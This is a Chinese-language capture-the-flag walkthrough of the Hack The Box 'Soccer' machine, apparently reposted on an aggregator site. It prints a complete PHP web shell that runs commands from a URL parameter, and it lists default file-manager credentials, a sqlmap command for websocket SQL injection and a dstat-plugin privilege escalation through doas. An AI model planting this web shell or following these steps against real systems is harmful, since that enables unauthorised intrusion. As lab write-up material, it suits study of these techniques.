HTB-soccer

Posted 永远是深夜有多好。

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTB-soccer相关的知识,希望对你有一定的参考价值。

信息收集

  • 22 ssh
  • 80 http
  • 9091

对80进行检查。



搜索得知存在默认登陆密码admin:admin@123 和 user:12345

右上角有一个upload,试试能不能本地上传。

能够获取上传的路径,但是此文件没有写入权限。

切换到tiny文件夹再次上传。


在/tiny/uploads能够上传。


上传脚本。

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    
        system($_GET['cmd']);
    
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>


获取shell。

在/etc/nginx/sites-enabled找到了一个域名。


进一步探索发现子域名。

来到新界面。

先注册一个账号看看。登陆后白嫖一张看球赛的票,并且还可以查询票是否存在。


奥,看起来有sql注入。

抓包发现websocket,并且能看到使用的是9091端口。


源代码里也有。


简单测试一下


通过搜索找到此界面。依照界面所述操作。

修改重要的数据运行,就能够完成sqlmap到websocket的转换。


运行后会出现一个地址,用sqlmap -u “http://localhost:8081/?id=1” --dbs使用所给的地址。


获得一个player的凭证。

立足

通过前面获得的player的凭证登录。

提权

仔细看了几遍linpeas.sh的扫描结果,排除了部分可能的切入点后发现了这两个程序。


dstat是一个信息收集统计工具。

重点是在使用手册上看到了dstat可以使用插件。

找到了插件所在位置,但是我们没有对这个插件存放的目录有写入权限。

通过–list查看插件信息。

那么问题来了我们没有扩展插件目录写入权限,但是拥有这个目录权限。

注意dstat插件命名格式是dstat_开头。

添加dstat_exploit.py,内容如下。

再次运行–list发现已经识别,动作要稍微快点,应该有个时间任务在某时重置/usr/local/share/dstat目录。

我们知道有doas命令,并且doas可以对dstat使用。

以上是关于HTB-soccer的主要内容,如果未能解决你的问题,请参考以下文章

网络安全怎么学?

--网络安全体系与网络安全模型

1.网络安全发展的三个阶段,每个阶段对网络安全发展的具体内容包括啥?网络安全体系组成的三个主要部

网络安全培训课程表

网络安全主要做啥?

古典密码和网络安全之间的关系